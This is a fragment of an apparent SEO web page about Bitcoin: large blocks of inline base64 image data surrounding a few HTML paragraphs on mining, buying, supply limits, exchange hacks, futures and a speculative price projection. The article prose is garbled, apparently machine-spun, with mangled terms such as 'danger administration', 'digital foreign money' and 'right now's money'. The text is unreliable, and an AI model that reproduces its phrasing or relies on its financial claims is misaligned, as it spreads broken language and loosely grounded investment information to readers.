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" width="307px" alt="btc worth"/></p>
<p>They are rewarded with bitcoins, more of which are created every ten minutes. In response to the chance of financial collapse because of COVID, governments around the globe have flooded international markets with cash created by central banks, in order to increase spending and assist save the financial system. Offers trading for five cryptocurrencies, together with Bitcoin, Bitcoin Cash and Ethereum. You can earn bitcoins via mining, however the technical experience required and pc cost puts this feature out of reach for many. True to its authentic spirit, you can buy bitcoins directly from different bitcoin owners by way of peer-to-peer tools like Bisq, Bitquick and LocalBitcoins.com. The Securities Investor Protection Corporation insures investors up to $500,000 if a brokerage fails or funds are stolen, however that insurance doesn’t cowl cryptocurrency.</p>
<h2>Won&#8217;t The Finite Amount Of Bitcoins Be A Limitation?</h2>
<p>If Bitcoin had been to attain 15% of this valuation, its market capitalization in right now&#8217;s money could be 10.8 trillion U.S. dollars. With all 21 million bitcoin in circulation, that might put the value of 1 Bitcoin at $514,000. Bitcoin&#8217;s utility and transferability are challenged by difficulties surrounding the cryptocurrency storage and exchange areas. In latest years, digital foreign money exchanges have been suffering from hacks, thefts, and fraud. Some major brands and retailer chains have already jumped aboard the crypto train, accepting the digital currency to make funds. Other corporations have began providing Bitcoin debit cards, allowing consumers to use their digital cash nearly anyplace that accepts EFTPOS. Bitcoin is a big portion of the rising digital asset market. BTC futures present investors with transparency, price discovery and danger administration capabilities. The contract may even permit individual market members to access the bitcoin market as well as hedge any direct publicity to bitcoin pricing. As if the limited and dwindling supply was not sufficient to help BTCs value motion there&#8217;s the lost BTCs to think about.</p>
<p><img class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' 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